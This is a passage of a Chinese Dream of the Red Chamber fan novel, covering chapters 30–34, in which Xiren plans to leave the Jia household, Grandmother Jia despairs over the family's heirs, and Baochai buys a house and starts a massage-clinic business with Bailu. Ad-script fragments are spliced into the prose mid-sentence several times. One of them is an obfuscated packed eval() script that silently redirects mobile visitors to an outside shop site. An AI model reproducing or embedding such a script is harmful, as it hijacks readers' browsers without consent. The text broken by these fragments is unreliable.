“我!”宝玉一时着急道,“我自然不会叫家里姑娘再像大姐姐一样,去那一年到头见不着人的地方。” “二哥哥好糊涂。”黛玉摇头,“你不许,可不是你的姑娘,恐怕也由不得你不许。送个姑娘便能保一世富贵,天底下竟还有比这更占便宜的买卖?” 宝玉恍惚间又想起出门时袭人说的话,“……说来说去,还是因为家里男人靠不住。若是男人靠得住,何苦要太太想出这样的法子。太太疼爱大姐姐自不必说,便是三妹妹,太太也是一样地看待。都说这富贵迷人眼,如今为了这荣华富贵,果然叫人连骨肉亲情也顾不得了。” 说话间,宝玉不经流下泪来,“若非是为了我不争气,太太又何必剜了一次心肝不够,还要再剜一次……” 宝玉在这里流泪,黛玉只低头不语。 过了好一会儿,黛玉才轻轻道:“若真有心,此事倒也不是无法可解。 想要日后府中女孩都能称心顺意,要么劝家里做主的人从此放宽心来,不去计较那些权势富贵,安心过清静平常日子。 要么,就让族中子弟努力,若求功名利禄只靠苦读上进,不要妄想着卖了别人便宜自己。 倒是一边想当个闲人,万事撒手不管,一边却想永葆富贵基业,令子子孙孙受用不尽,这才是万万不能的。” 宝玉一时止了眼泪,忽的又想起先时黛玉与他论起家事。那时黛玉便道府里出多进少,只是他不曾留心,哪知如今家业艰难,已经要打姐姐妹妹们的主意了…… 宝玉一时心乱如麻,连饭也吃不下两口。等出了潇湘馆,忽然回头一看,却见翠竹竿竿,经冬尤绿,满园萧条中,倒显得格外生机勃勃。 “这半年多,妹妹倒是少寻医问药了。” “二爷说什么?”跟在一旁的秋纹没听清宝玉在说什么,不由得上前一步。 “没什么。”宝玉摇了摇头,自顾自往怡红院走去。 回去自然又是一群人围着嘘寒问暖,宝玉一一说了几句话,这才发现,“怎么不见你们袭人姐姐?” 一群丫头们巴不得袭人离了宝玉跟前,否则哪里有她们出头的机会?于是叽叽喳喳的,你一句“不知道”,我一句“没见着”,总之就是不说个清楚。 还是袭人自己收拾好了出来,又像没事人一样照顾宝玉梳洗安置。 夜里原本是晴雯守夜,晴雯去了,便换成小丫头们轮流来。袭人白日里里里外外操着心,夜里支撑不住,便也不同她们争,自己回屋子里休息。 往日她睡得早,今天倒是辗转反侧,心里一直惦记着湘云那里什么时候才能有回复。 如今湘云在家备嫁,她婶婶必是不喜欢她再随便乱跑。若是湘云自己出不来,说不得还要在宝玉耳边旁敲侧击两句,叫他请老太太出面才是…… 袭人满腹心事,不知不觉挨到天明。 起来后见了宝玉,本想找机会提一提湘云之事,谁知道忽然又有人跑说家里来亲戚了。宝玉哪里还坐得住,丢下筷子就往贾母那里去。 谁知贾母见了邢夫人、李纨娘家亲戚并薛家的姑娘们,心里喜欢得不得了,一时想起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 湘云,又得知娘家侄儿要到外省赴任,于是赶紧派人把湘云接来,好叫她们姊妹们一聚,也方便自己照看湘云亲事。 湘云正愁不能出门见袭人,一时到了贾府,急得连别的姊妹都忘了,见了宝玉就先问袭人。 宝玉早知道她们两个好,此时也没多心,“也不知怎么的,她这一两日看起来心里不痛快。正好你来了,快跟她好好说两句话。” 湘云定定看了宝玉一眼,这才跑去找到袭人,“我瞧宝玉心里并不是没你的样子,若是吵嘴了,彼此说开就好,到底是从小一起的情分,何苦就要分开呢。” “姑娘不知道我的难处,”袭人说着就落泪,“我何尝不想大家长长久久在一处,可既然先走了晴雯,我便知道我也是不能长留了……” 湘云不常在贾家,可以知道这府里的人素来不是好相与的。袭人虽向来稳得住,可如今既说这话,看来是真的支撑不住了。 “既然你心意已决,那我便找个机会回了老太太。”湘云一向豪爽,当即就拍着胸脯答应下来。 只是她也心细,想了想还是道:“依我看,天下高门大户不过都一个样。你这么好个人,一辈子困在里头也没个意思,倒不如趁机离了这地方,自己自立门户过日子去。” 其实袭人心里也有此意,如今她家里早攒了些家底,她身边又有体己,若是出去了,日子也不会难过。只是怕她哥哥和妈见钱眼开,这头贾家放了身契,那头就把她再卖一回。 所以倒不如先托口跟着湘云,挡住她家里人,再慢慢做打算。 袭人知道湘云性子,于是也不瞒她,把自己的难处一一说了,又求道:“……只盼姑娘看在咱们好一场的份上帮我一帮。” 湘云自然没有不应的,“那便说好了,这事咱们都不许声张,悄悄办好了,到时候吓他们一跳!” 于是找到机会,湘云果然凑到贾母身边这样那样一说。 贾母一听就知道这不该是湘云自己吗主意,史家便是日子清简,可也不会亏待了要出嫁的姑娘,叫身边伺候的人手不够,否则说出去岂不是丢了大脸。 本想一口回绝,可贾母转念一想,这袭人素来有些心眼,叫跟在湘云身边也不是全无好处。湘云心直口快,做事不拘小节,有这么个心细的人陪着,去了婆家更方便立足。更何况叫这袭人离了宝玉,她这边立时又能再指派合适的人去。 “本不该应你,”贾母故意虎着一张脸,“可你在这三请四求的,我是不应也不行了。这样吧,这事不好声张,免得你二哥哥闹起来,你还回园子里去,该怎么跟你姊妹们耍就怎么耍,只回家的时候悄悄把人领了去就是了。” “哎!多谢老太太!”湘云抱着贾母使劲蹭了蹭,蹭得贾母终于忍不住笑了才起身,“我骗了二哥哥的人,到时候自然赔份大礼给他!” 等湘云走了,贾母脸上的笑才收了起来。 连丫头都知道一条道走不通,就该换条道走。如今府里隐隐可见前途无望,又该往何处去呢? 31.贾母百般寻出路 贾母很想为家族找条出路。 这些年来,她也不是只会待在家里吃吃喝喝,由小辈们奉承享乐,而没有为家族努力过。 安排女儿嫁给林家探花郎,既是维护勋贵圈子,又为家族打入文官集团铺路。 让大孙子珠儿去文官家出来的孙媳妇,也是为了大孙子日后仕途着想。 到了元春,因她样貌、人品样样出众,当初也是花了心思安排她入宫。 回头看来,是步步都没有走错,却是步步都没有结果。 女儿早早去了,女婿也没了几年了,留下个外孙女,可怜身子也不好。 珠儿是个读书的人才,原本家里就指望着他有出息。谁知忽然病了一场,人就这样走了。留下个兰儿虽然也是个好的,可终究年纪太小,也不知道什么时候才能当得起家里的顶梁柱。 至于元春,如今不上不下,空有位份却无实惠,想来也只能盼着她在宫里日子能好过些便罢了。 再数数家里这些人。 老大跟东府里的珍儿和蓉哥一样,都是吃喝玩乐上下功夫,正经事半点也不能指望。 老二靠着恩荫得了官位,可不是科举出身,一辈子也就只能在闲职上面打转了。 孙子辈里,琏二道有几分能为,可惜只能照看里外庶务,其余是半点也不上心的。 宝玉倒是处处都好,虽不喜欢读书,却实打实的有才情;讨厌人情往来,可不管是北静王还是勋贵家里的年轻小爷们,有一个算一个,都跟他处得好。 若是能够科举出仕,宝玉的前途想来必然一片光明。可从前家里指望着珠儿,到底对宝玉溺爱得过了些。现在养成这样一副性子,恐怕就是他亲爹拿着鞭子在后面追也强迫不了他去。 至于环儿,读书不用心,正事也不干,性子也不好,总之不说也罢。 姑娘们呢,二丫头木头人一个,以后到了婆家不被人欺负就谢天谢地了,还能指望她如何?三丫头倒是样样都好,比起男孩们还要强一些,就是性子太过刚硬,本想让她入宫同元春做个臂膀,可她自己不愿意。这样的姑娘便是强行把人送了去,怕是也不会让家里如意,也只能算了。 最后一个四丫头虽然养在家里,可细说起来却是东府的姑娘。也不知道东府里是个什么打算,如今也只盼着别把好好的姑娘带累了。 其余旁支,男男女女,算来算去也没个上进能指望的,不过是靠着府里混点差事,勉强能够糊口罢了。 贾母在心里一通思量,忽然发现偌大个家族,名头虽响,竟是要后继无人了。 于是贾母不禁悄然落泪,“这可如何是好啊。” 哭归哭,可一想到袭人那样的丫头都知道努力为自己挣出路,贾母哭过之后又擦了眼泪,继续一个人想法子。 儿子们是指望不上了,孙子里算来算去,最有前途的还是宝玉。 如今宝玉年纪也大了,要是同他好好说,想来也该清楚家里的境况,能立得起来。 这两年抓紧时间科举。有了出身,再说一门文官家的亲事,日后姻亲故旧努力提携,十年内必然能够顶立起门户。到时候兰儿也长大了,如此又是一大助力。 朝廷里立着人,便是元春运道不好,迟迟没个子嗣,在宫里日子也不会太难过。 至于探丫头,果然还是该同老二说的那些,不能一家子姑娘全往宫里填。只是文官武将,到底往哪里嫁,这个倒还值得好好思量。 如此一看家里也不是全无希望,贾母心中一时又火热起来,更不得立刻叫了宝玉来,劝他好生上进,以待早日金榜题名。 见鸳鸯进来,贾母赶紧就问:“宝玉在哪里?快去叫了他来,就说我有要紧事同他说。” 鸳鸯难得看到贾母如此着急,一听自然赶忙进园子里找宝玉。 先往怡红院里一问,不见宝玉,只有袭人看家。鸳鸯跟在贾母身边,大大小小的事情心里都有数,此时见了袭人便忍不住道:“你……” 袭人自知瞒不过鸳鸯,于是也不辩解,只默默低头,准备随鸳鸯如何说。 “罢了罢了。”谁知鸳鸯最终只是摇了摇头,“人各有志,以后如何,你心里有数便好。” 说完鸳鸯便出门去找宝玉。找到人时,宝玉正和园子里姐妹们一起玩笑作诗,好不热闹。鸳鸯不由得一笑,可想起贾母黯然伤神,袭人自寻出路,忽然又觉得悲从心起,只觉得眼前一切不过镜中水月,手一戳便戳破幻象。 宝玉不知鸳鸯心中所想,见她来了,便招她一起喝一杯热乎的。 “不喝了,老太太那里正急着找你呢。” “可说了有什么事?”宝玉边说边放下手中杯子,向身边姐姐妹妹们告辞,“既然老太太有事,那我先过去一趟。” 自从晴雯等人去后,宝玉心中一直闷闷不乐。如今难得家里来了新客,又是那般聪慧伶俐的女孩们,宝玉乐得不知如何是好,见了贾母便急着告诉她大家一起在园子里做了哪些新诗。 贾母耐着性子听了,好容易等到宝玉意犹未尽地停下,她才一边抚着宝玉的背,一边慢慢道:“你这些兄弟里,就你一个跟家里姊妹们好,我也只盼着你们能一辈子这样和和气气,相互扶持。前儿你三妹妹的事你也是听了的,你老爷虽然开口做了主,可你自己有什么想说的没有?” 宝玉不妨贾母找他竟是为了问这样的话。 略一怔后,才说道:“老太太既然问了,那我也不瞒着。要我说,我情愿家里不过这样富贵的日子,回南京种田去,也不想叫三妹妹去受那样得罪。” 说不失望是假的,贾母如何也想不到宝玉不仅没有半点上进心,反而能说出回南京种地这样的话。 可她也知道宝玉自然厌恶官场朝廷那一套,举着棍子是抽不动人的,只能顺着他好好说。 贾母一番苦口婆心,不说家族,只说自己年老,盼着家中子孙日后安稳;说王夫人辛苦半生,只求儿女平平安安,日后好歹有个依靠;说孙女们不容易,未来还得家里靠得住才不至于出了门被欺负…… 一番话说得好不可怜。 可贾宝玉若是能被这老太太卖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惨的一番话说得回心转意,那他也不是贾宝玉了。 眼看宝玉垂着头一言不发,贾母心中一叹,到底止住话头,“……罢了罢了,说这些话,你自己心里好好想想吧。” 等宝玉走了,贾母又是忽而泪下。 等到鸳鸯举着灯进来,她才恍惚意识到,自己今日是怎么了?怎么会哭得这样多? “要不是心里憋着气,谁好端端的想哭呢?” 贾母心里郁闷,薛姨妈难道就痛快了? “今儿你妹妹一家也上京来,本来是阖家团圆的好事。可谁知道老太太宁可问你妹妹的八字,叫她去跟宝玉相配,眼里也没跟你。”薛姨妈哭得越发伤心,“我的儿,你这样好的人,怎么命偏偏这样苦啊!” 宝钗在园子里同姊妹们玩耍一日,本来心情极好。可谁知回到家来,亲妈又哭个不停。 然而仔细一听,却还是为了从前那些事。 宝钗便随意一笑,“妈之前不是才歇了心思?怎么今儿又为了这事哭起来了?再说,老太太便是有那心,可琴儿早已经是定了人家的,如今哪有再说给宝玉的道理。” “这不是气他家眼睛长在头顶,叫你这样的姑娘都瞧不上吗!”薛姨妈越想越气,“感情也不是真看上了琴丫头,是拿她来挤兑咱们呢!” “这又不妨碍什么。”宝钗心宽,并不把这些放在心上。她倒是想起更要紧的事提醒薛姨妈,“琴儿既然说了人家,如今上京来便是要把事情办好的。只是偏她哥哥又没娶亲,难不成就这样把琴儿拖住了不成?” 薛姨妈便道自己也帮薛科盯着亲呢,“他是个好的,想来好人家的姑娘也能瞧得上他。倒是你哥哥个孽障,唉,才叫我愁得不知道怎么办才好。本想着林家太太的医馆里也有不少人家彼此找机会给孩子相看的,可你哥哥那样子,我真是怕一开口就被人打出去!真是求老天让他去哪里磨练一番,也改改脾气,认真过日子才是!” “这江山易改,本性难移,人哪里有说变就变的?不过妈也别太担心,这俗语也说船到桥头自然直,等时机到了,哥哥的亲事总能有个说法。” “你哥哥是个男人,我还不担心他。”薛姨妈说着说着又想哭了,“我是担心你啊!” “妈也别担心我。”宝钗微微一笑,“天无绝人之路,我总有法子过下去就是了。” 宝钗说这话自然是因为她有底气。 下午在园子里玩的时候,林家太太忽然差人传了信来,说她们之前商量的生意这便已经开始了。 虽然只是在医馆里小范围宣传了一番,可各家太太们果然很感兴趣。 小半个月下来,医馆里就已经接待了上百个没什么大毛病到身体就是不怎么爽快所以想来按按的客人。 然后一传十,十传百,还没到年底,这订单就已经排到了元宵后头。达官贵人不必说,甚至还有宫里贵人们身边的管事嬷嬷们…… 若是这样…… 宝钗拽了拽手帕,心里思量着,过了年,大概也是时候搬出贾府,自家独立门户过日子了。 32.宝钗另寻新宅 白露很理解宝钗想要家里自立门户过日子的心情。 托庇贾家,虽然不怕来了京城人生地不熟受欺负。可哥哥跟着贾家的爷们也没学好,被哄着天天大把银子往外撒,供人寻欢作乐去了。 如此更荒废了生意交际,店面铺子一概落到了管事们手里,经营得是好是坏,她的妈在家里什么都不知道。 唯一知道的,便只有家里的钱是越来越少了。 宝钗深知自家哥哥就是那么副散漫性子,也不求他一朝就改过自新,于家业上用心了。可即便如此,也不能再眼睁睁看着他同贾家男人混在一起,明面当个冤大头,背地里还要被嘲笑大傻子。 见了白露,知道她性情宽厚,更不是多嘴多舌的人,宝钗就忍不住多说说心里话:“我妈原只想求个安稳,故而我纵然多次劝她干脆从姨妈家里搬出去,可她就是下不了决心,怕摆布不开京城这么一大摊子事。” 白露一想,薛姨妈当了大半辈子富贵太太,从前万事有旁人操心,她只用在家里好好享受就行,谁知道丈夫忽然去了,儿子又是个立不起来的,都说商场如战场,薛姨妈怕刀枪无眼,一不小心就害了儿子害了自家,所以宁肯保守一点,在家里吃吃老本安然度日,这样的心态倒也不是不能理解。 只是宝钗冰雪聪明,知道贾家也不是长久依靠,怕有朝一日不止树倒猢狲散,更是要殃及池鱼,所以才会积极谋求自立。 宝钗也不怕白露知道她的心思,谈笑间便直言道:“姐姐人不在贾府,看的却比府里人更要清楚。只叹我不像颦儿好运道,到了哪里都有人疼。既没人替我事事想在前头,我也只有自己多为自己着想些。” 白露深觉宝钗是个妙人,说到底,为自己努力,这又有什么不行呢? “你的意思我都明白。”白露也不跟宝钗兜圈子,“既然想搬出来,那你是准备搬回薛家在京城的宅子?还是另有打算?” “我也去原先的宅子看过了,”宝钗说起来只摇头,“管事们惫懒,除了自己那一亩三分地,其余地方一概不管。如今久不住人,门户竟多有被虫蛀了的,要收拾出来也不是一日两日的功夫,倒不如另外找地方。” “那我倒是能推荐几个。”白露如今的生意范围也是越来越广了。 医馆里各家太太们来来去去,一起排队候诊的时候难免随便聊聊。 除了儿女找对象想打听打听哪家有合适的孩子,其余家里想给姑娘们请个女先生问有没有推荐的,儿子要去外地赴任想找个熟悉当地风土言语的师爷问有没有熟人的,全家要回老家准备出售京城里宅子铺子问有没有想接手的…… 各种各样的消息汇集在一起,白露干脆另外找了伶俐的姑娘来专门负责整理记录,当个消息中介,让太太们能在最短时间内找到最多的情报。 如今宝钗想找房子,白露就还真能帮得上忙。 “就在医馆附近一片,离我家也不远。原主人家是户部的郎官,最近准备致仕回老家了。宅子前后五进,收拾得舒舒服服,带着东西就能住进去。周围邻居要么是当官的要么是本地读书人家,都和和气气,绝没有闹事惹事的,外面地痞流氓也不敢来欺负,最适合安生过日子。” 地段、大小、装修、邻里情况、周围环境可谓最合适不过,至于价钱,如今薛家虽然不如当年,可也不至于一套宅子都拿不下来。 更妙的是卖家是户部郎官,这买卖过户的事轻轻松松就能办好。 宝钗果然很心动,而这时候就很适合说一句“来都来了”。 白露便道:“来都来了,择日不如撞日,咱们这就去看看那宅子如何?” 宝钗眼睛一亮,“方便吗?” “有什么不方便的,人家巴不得早点出手呢。” 两人乘着小轿,出门没多久就到了目的地。 主人家的太太跟白露也熟,见她带这个年轻姑娘来老宅子也没有大惊小怪。 京城不比别处,这里便是未出嫁的姑娘也格外大胆能干。不就是看个宅子,能有什么大不了的? 主人家殷勤招待宝钗,带着她从门口逛到最后面的小花园,把这地方是夸了又夸,就连最后的要价其实也十分公道。 宝钗一番权衡,心里便着实意动。于是当下就跟主人家约好了,三日内必有回复,请无论如何等她一等,先别急着把宅子卖给旁人。 主人家见她一个姑娘年纪轻轻却言语不俗,待人接物也进退有度,便是心里着急着回乡也答应了宝钗所请。 这边事情一了,宝钗也没心情继续在白露家里闲逛了。她着急着回家说服薛姨妈。 这是薛姨妈安稳惯了,一听要出去独门独户过日子,第一反应就是拒绝。 “这贾家虽有这样那样不好的地方,可毕竟是亲戚,彼此照应着,不管是咱们母女两个在家里还是你哥哥外面的生意,都没什么人敢欺负到门上来。这要是出去了,风风雨雨可就得自己来扛了。” 宝钗便细细把留在贾家和出去自家度日的利弊一一分说,听得薛姨妈忍不住动摇。最后宝钗又下了一剂猛药,“妈一心惦记着哥哥和我的亲事,可须知整日待在贾府不出门交际,那如何能给哥哥和我找到称心如意的? 莫不如早早搬出去,妈也亲自跟邻居们接触接触,又有林家太太那里合作的生意,妈借着这个机会多认识认识京城里各家太太,说不得哪一日便碰到合适的了。” 儿女终身大事便是薛姨妈心里最紧迫的事情,宝钗如此一说,薛姨妈果然觉得自己成日里待在贾府,见的不是姐姐便是老太太,确实是浪费了太多时间。 “既如此,咱们便先把宅子买下来。如今你哥哥在外地做买卖,便叫你弟弟薛蝌先去收拾收拾,到时候等你哥哥回来,咱们再带着你弟弟妹妹一起搬出去。等琴丫头出嫁也从那宅子里嫁,不要让婚事也落在贾家,让人家瞧不起。” 一旦下定决心,薛姨妈倒也爽快。当即清点了银子,叫了薛蝌,又亲自请了白露,约了房东,三家人凑一块利落地把事情办了。 薛蟠虽年长,可吃了官司,如今在原籍已被销户,故而这宅子无论如何也挂不到他名下。 薛姨妈一番思索,干脆把宅子记了自己名字 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。只是回头对薛蝌直言说:“如今咱们家人少,自然是住在一块合适。只是你日后也要成家,再叫新媳妇跟着伯母,恐怕人家也不乐意。我便想着,咱们一家子先在一处住着,你慢慢收拾老宅,时候娶了媳妇,跟媳妇住在老宅也是好的。” 薛蝌敬重长辈,况且也知道这世道自然是要族大人多才好抱团取暖,自然没有什么不答应的。 于是大家商议已定,装作无事发生的样子回到贾家,只等时机一到便一家搬走。 宝钗心知安居京城不容易,此后更是十二分的用心想干好自己的养生保健事业。 她虽身在闺阁不能随便出门,可家里其他婆子却是能跑腿的。 于是暂时看着婆子们日日养来送信送账本送上门的客户们的想法提议,宝钗硬是身在闺房也整理出了一份经营计划。 里面市场开拓方向、目前所需人手规模、场地布置、收支预估、利润分成等等事项写得清清楚楚。 白露见了都啧啧称奇,“这样一看,原来我这医馆才是闹着玩的那个!” 说开就开,如今能经营起来,其实很大程度上也是托了皇后的面子。 宝钗就笑,“我这不过是纸上谈兵,哪里比得上姐姐能脚踏实地把事情做好,日后万事都还要请姐姐多费心照看。” 仔细一看计划书,先期投资基本都是薛家半包,白露主要负责员工培训和客户推荐以及应付下官府差役,但利润分成时,宝钗却打算分给白露大头。 这怎么行。 白露从没打算占别人便宜,宝钗便是只求家中能在京城安稳度日,也不必委曲求全到这个地步,于是坚决只收四成利润。 两人一番拉扯,最终还是白露占了上风,宝钗于是心中越发感激,又不禁大为遗憾,“只可惜姐姐不是我亲姐姐。” 宝钗本只是有感而发,白露却觉得这话耳熟得很。 原书里,是不是湘云也对宝钗说过这话?还有黛玉,跟宝钗说开后,也觉得宝钗跟亲姐姐一样。 宝钗处处照顾他人,如今却也遗憾自己没个处处照顾她的亲姐姐。 只能说,大家都挺不容易的。 这边事情商量好了,宝钗便往回走。 大概是光明的事业正在前方招手,不必死等着当贾家宝二奶奶,所以宝钗心情格外地好。 之后薛姨妈又看好邢夫人娘家侄女邢岫烟与薛蝌为妻,两家各自乐意。看家中一应走上正轨,宝钗更是放松起来,一心只能哥哥回来,一家人就搬出去认认真真过日子。 只是还不等薛蟠回来,宁国公府的老爷贾敬便去世了。 一时两府忙乱,凤姐又不愿如当初可卿离世时出来总理家族。王夫人帮撑着尤氏忙得焦头烂额,自己这里顾不上,于是百般请托薛姨妈照看园子里女孩们。 薛姨妈本就心软,便答应下来。只是偶然听了些风言风语,回头便对宝钗道:“这府里终究不是久留之地,等你哥哥回来咱们就走,只是我瞧你黛玉妹妹就在这里也不是长久打算,她该如何?莫不如还是去信问问她嫂子,想想办法才是。” 33.薛姨妈心怜黛玉 薛姨妈原也是一片好心,想着贾家如今隐隐的越发不成样子,万一以后闹出什么大事来带累了黛玉,岂不是冤枉得很?故而才想到提醒白露想想办法,小姑娘年纪看着也大了,总不能一日日拖在贾家的园子里不考虑将来的事。 白露听了薛姨妈的意思,心里便十分烦恼。 从前她想得简单,以为有本家亲戚上门便可以把黛玉从贾府里接出来,却忘了考虑黛玉自己的想法。其实从黛玉的角度来看,这不管是论亲疏远近,还是别的什么,估计她都更愿意留在贾家,留在外祖母身边,和从小到大一起长大的姊妹们作伴。 她要是就这么茂茂然上门开口就说要把黛玉接出来,估计谁也不会乐意。 薛姨妈就道:“其实我的意思是,黛玉如今也该考虑考虑婚事了吧?老太太那里可有什么说法没?” 薛姨妈是早知道贾母有心让黛玉跟宝玉凑一对的,之前因着姐姐王夫人言语暗示,所以倒也想替自己姑娘争取一下,如今看开了,也就彻底放手了。 虽然以她如今的眼光看来,宝玉也未必是良配,可黛玉毕竟跟宝玉从小一处长大,两个人关系格外亲近些,说不定姑娘自己也乐意? 要是黛玉自己乐意,考虑到她身上又有爵位,宫里皇后娘娘逢年过节大发赏赐也没忘了她,便是嫁了宝玉也不怕日后没得吃喝,那些其实也还算好姻缘。 毕竟看来看去,夫妻两个能情投意合不愁吃穿,这日子就已经胜过天底下千千万万人了。 至于别的什么婆媳啊,妯娌啊,唉,天下女人谁不是这样熬过来的。 可白露就摇了摇头,当着人亲姨妈的面,她也不说觉得宝玉不靠谱,只道:“咱们觉得好不算好,还是得贾家老太太、太太都说好才好。这宝玉再愿意,可要是老太太、太太不愿意,那他再是跳井上吊的,又有个什么用?” “嗐!这话也是!”薛姨妈一想自家姐姐满心打算给宝玉找个靠得住的岳家,就觉得黛玉这样的,人家估计一样不看在眼里。 “没事,这天底下男人这么多,何必死盯着一棵树吊死。”薛姨妈这会子也是心宽,安慰白露道,“你交际广阔,何愁给黛玉找不到合适的人家。再说,老太太也是真心疼她,必不会委屈了她。” 暂时也只能如此了。 但白露还是暗暗计划,这段时间帮宝钗看房子,何不顺便帮黛玉也看一套? 近来宫里老太妃去了,皇后也跟着守孝呢。等宫里忙过这一阵,到时候跟皇后娘娘打个招呼,县主府的牌匾往上一挂,再找个机会,接黛玉顺理成章出来自住一府。 这边白露再想有什么借口能叫黛玉一个小姑娘独立开府,那边薛姨妈一拍脑门,“哎哟,光顾着黛玉,却忘了还有件正经大事要跟你说一声呢,你瞧我这脑子!” “怎么了?”白露心道,莫不是贾家又闹什么幺蛾子了? “东府里的敬老爷去了。本来派了人要来你府上通报一声,我想着反正都是一路,干脆叫那人忙别家去,我来了顺便跟你说了就是了。” 如今白露府里跟贾府也如亲戚一般走动,这样的红白大事彼此告知一声也是应有之礼。 贾敬去世了啊。 白露适时露出遗憾之色,让一旁的兰叶去请管家准备祭仪。 只是回想原书中秦可卿去世时贾家的排场,再想想贾敬去世时整个流程办得匆匆忙忙,便能清晰感受到贾家果然是不复当初了。 不过这都不是重点,重点是! 尤二姐和尤三姐就要登场了! 白露对这两个角色没什么特别情感,只是年纪轻轻的女孩子就这样陷入贾家的泥坑里,随随便便枉送了性命,就是外人看了,也会觉得可怜得很。 然而她也不是救世主,又如何想插手别人的命运就随便插手呢?只能说一切随缘。 却说薛姨妈既知道女儿同白露合作生意,日后家里说不得就要多靠着这边吃饭,又感念她忙前忙后帮自家找宅子,于是越发打定主意,回去了要多多照看黛玉。 正好最近贾府忙着贾敬丧礼,园子里的人手也有被抽调去的。薛姨妈干脆自己搬去园子里,就跟黛玉住在潇湘馆,方便就近照看。 于是黛玉一日从早到晚都有薛姨妈关心衣裳饮食。黛玉读书,薛姨妈便在一边做点针线;黛玉给医女们上课,薛姨妈便自己也搬个椅子听得精精有味;黛玉跟姐妹们一起玩,薛姨妈就在屋子里给她们张罗茶点果子。 到了夜里,黛玉忽然扑在薛姨妈怀里哭起来。 薛姨妈哪里经得住小姑娘抱着她哭,自己一下子也红了眼圈,“好孩子,可是想你娘了。别哭别哭,你娘也惦记着你呢。你好好的,等过了百年再高高兴兴去见她,跟她说你这辈子好好的,岂不是好?在哭,你百年后便只能变成花猫,等见了你娘也说不出话,只围着她腿边叫着打转!” 黛玉本来伤感,一下子又被薛姨妈逗得忍不住笑。 薛姨妈见黛玉笑了,给她擦了眼泪,哄她喝了小半盏温热的甜汤,看着黛玉盖好被子睡觉才自己回房去。 睡前薛姨妈又忍不住同身边得信的妈妈说话:“这么多姑娘,只交给丫鬟婆子们伺候,便是有大奶奶陪着,可她又要顾自己的儿子,如何分得出更多的心思来?可怜这几个丫头,不是病歪歪的,便是性子太闷,也只有三丫头样样都好些。” 薛姨妈觉得贾家是真奇怪,自家也就算了,贾家这样的,孙子辈里认真培养的竟也就去了的珠儿和宫里的元春,怎么除了这两个年纪最大的孩子,其余孙子孙女竟没有一个用心的? 先生不请,家事不教,什么都靠孩子们自己摸索,能学到几分全看个人本事。 这家不败谁家败? 奇怪,真是奇怪。 薛姨妈满肚子不理解,不知怎么的,心里忽然不安起来。她心里暗暗打定主意:过了东府的丧事,便一刻不拖拉,尽早搬出去才是。 唉,可惜黛玉是老太太的亲外孙女,要不然,带上黛玉一起走也是好的啊。 薛姨妈觉得自己是有心无力,但白露确实真正迫切地想要想个办法。 想个什么办法呢? 白露想来想去,还是先收拾了医馆季度经营报告准备入宫跟皇后述职。这回她叫上了黛玉,说不得进宫去了就能找到什么灵感呢。 这次见皇后依然是在东宫。太上皇退位几年,幸而身体康健, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949373|146758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故当今皇帝依然能在父母跟前尽孝,如此福气真是羡煞天下人! 几月不见,白露只觉得皇后面色格外疲惫,即便有厚厚的脂粉装扮,可整个人由内而外透出的疲惫却是如何也遮掩不了的。 看来给老太妃守孝是真够折腾,幸好她提前给黛玉和康姐儿报了病假,更幸好宫里也不在意这两个混爵位的有没有亲自到场给老太妃尽心。 “孝道要紧,娘娘也该注意身体才是。” 皇后勉强一笑,“陛下纯孝,本宫身为皇后,自然也该以身作则。” 懂!这就是紧跟大领导的脚步。 白露利落地排了几句马屁,然后就呈上自己整理的经营记录。 她写得用心,可皇后也只是随意翻翻而已。毕竟皇后当初灵机一动只是想要博个好名声,让自己在姹紫嫣红的后宫之中能凸显一个“贤”字,坐稳中宫之位,而不是真的指望一个小小医馆能为她赚多少金银。 白露对此心知肚明,所以除了准备书面报告,还口头转述了宫外那些无法亲自入宫面见皇后拍马屁的普通人家的女眷的一腔感激之情。 不过这些话翻来覆去其实也就那么些,“娘娘千岁千千岁”“皇后娘娘大恩大德大慈大悲长命百岁福寿无双”…… 老百姓们的心意是真挚淳朴的,奈何不像饱读诗书的文官们专门干这行,所以便是想说些好听话也憋不出几个词来,甚至还要白露自己绞尽脑汁润色美化。 不过民间自有高手在,有的人不会写文章歌功颂德,可家里有钱,有钱都能使鬼推磨了,难道还搞不定一件合适的献礼? 白露这次便带了这么一件礼物来。 东西不大,一架摆在桌上、柜子上或者多宝阁上当摆设的小屏风。 “这手艺可真好!” 第一眼便觉得绣功精巧,暗黑底上的百鸟朝凤,花色图案大气华丽,格外抓眼。稍微转一转,迎着光,更是光华灿烂,美不胜收。 皇后早玩笑般说过百姓的好意她心领了,叫白露别送礼,她难不成是图老百姓那点东西的? 可这回白露也会说,“宫外百姓感激娘娘,每每要送些东西,臣妇谨记娘娘叮嘱不敢私收重礼,能劝收回去的都劝了,实在劝不了的一点小东西才留下来换了银子再买药材散给贫苦之人。 可谁知道这家人无论如何也想表示心意,因此特意找京中巧手娘子定了这面屏风来。这可是百鸟朝凤,又是特意想献给娘娘的,娘娘要是瞧不上,谁还敢私收了不成?实在不行,臣妇也只能把这东西带回去,让那家人拿去供在庙里日日香火供奉罢。” “偏你长了张厉害的嘴。”老实说,皇后确实喜欢这精致小屏风,更别提这图案另有妙处,她近来许是用得上,于是笑笑也就收下了。 东西当然不是白收的,皇后也知道投桃报李,“要是有什么为难事,只管告诉我,你我之间又何须客气?” 这话就不能当真了。 但白露也知道,是时候向大佬示弱,让大佬有机会出手解决麻烦,这不是更能让大佬有满足感?! “娘娘果然明察秋毫,近来臣妇确实遇到桩为难事,思来想去不得解,只能求助娘娘了。” 34.皇后巧言设医院 皇后确实拿白露进献的小桌屏有用。 